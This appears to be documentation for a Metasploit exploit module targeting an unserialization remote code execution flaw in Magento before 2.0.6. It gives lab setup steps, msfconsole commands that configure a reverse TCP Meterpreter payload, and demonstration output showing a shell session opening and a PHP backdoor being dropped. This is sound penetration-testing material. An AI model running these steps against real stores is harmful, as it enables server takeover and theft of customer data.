wchen-r7
4.0 KiB
4.0 KiB
Magento is a popular open-source e-commerce platform written in PHP. An unserialization vulnerability exists in the product that allows an unauthenticated user to gain arbitrary code execution.
Vulnerable Application
Magento Community and Enterprise editions before 2.0.6 are affected. The magento_unserialize module was specifically tested against version 2.0.6, on Ubuntu 14.04 and Debian.
For testing purposes, you can download the vulnerable applications here.
Verification Steps
To set up a vulnerable version of Magento, please follow these steps. This is specific to Ubuntu 14, and assumes you are installing Magento under /var/www/html/.
- Set up a Ubuntu box.
- Open a terminal, and enter:
sudo apt-get install apache2 - Enter:
sudo apt-get install php5 - Enter:
sudo a2enmod rewrite - Add the following content to /etc/apache2/sites-enabled/000-default.conf, inside the virtual block:
<Directory /var/www/html>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
- Download the vulnerable Magento app
- Extract the compressed file:
tar -xf magento2-2.0.5.tar.gz - Move the files and directories of magento2-2.0.5 to /var/www/html/ (make sure .htaccess is copied too)
- In terminal, enter:
sudo chmod 644 /var/www/html/.htaccess - Enter:
sudo service apache2 restart - Enter:
sudo apt-get install mysql-server-5.6. And follow the installation instructions of MySQL. - Enter:
sudo apt-get install php5-mysql - Enter:
sudo apt-get install php5-mcrypt - Enter:
sudo php5enmod mcrypt - Enter:
sudo apt-get install php5-xsl php5-curl php5-intl - Enter:
sudo service apache2 restart - cd to /var/www/html, enter:
sudo mkdir tmp, and cd to tmp - In tmp, do:
curl -sS https://getcomposer.org/install | php - Enter:
sudo mv composer /usr/local/bin/composer - In /var/www/html, do:
composer install - You will be asked for a username (public key) and password (private key). You can register for one here: https://marketplace.magento.com/
- Back to terminal, enter:
mysql -h localhost -u root -p[password] - In mysql, enter:
create database magento, and exit - Go to http://localhost with a browser, and install Magento through the web interface.
- After installation, back to the terminal, and enter:
sudo rm -rf var/cache/* - Enter:
sudo rm -rf var/generation/* - Enter:
sudo rm -rf var/page_cache/* - cd to /var/www/html/bin
- Enter:
sudo php magento deploy:mode:set developer. It should say that you're in developer mode. - Enter:
sudo php magento setup:static-content:deploy - Enter:
sudo php magento indexer:reindex - Enter:
sudo chmod -R 777 /var/www/html - Go to http://localhost, you should see Magento up and running.
- From Magento, log in as admin, and create a product. After creating one, make sure this product is also searchable from the front-end.
After setting up Magento, you can use your exploit module:
- Start msfconsole
- Do:
exploit/multi/http/magento_unserialize - Do:
set RHOST [IP] - Do:
set PAYLOAD php/meterpreter/reverse_tcp - Do:
set LHOST [IP] - Do:
exploit - And you should get a session
Demonstration
msf exploit(magento_unserialize) > check
[*] 192.168.1.108:80 The target appears to be vulnerable.
msf exploit(magento_unserialize) > exploit
[*] Started reverse TCP handler on 192.168.1.94:4444
[+] 192.168.1.108:80 - generated a guest cart id
[+] 192.168.1.108:80 - backdoor done!
[*] Sending stage (33721 bytes) to 192.168.1.108
[*] Meterpreter session 6 opened (192.168.1.94:4444 -> 192.168.1.108:46835) at 2016-06-02 17:09:34 -0500
[+] 192.168.1.108:80 - Deleted lP5UgbUBLm1sWN25gWfZBqYKms.php
meterpreter >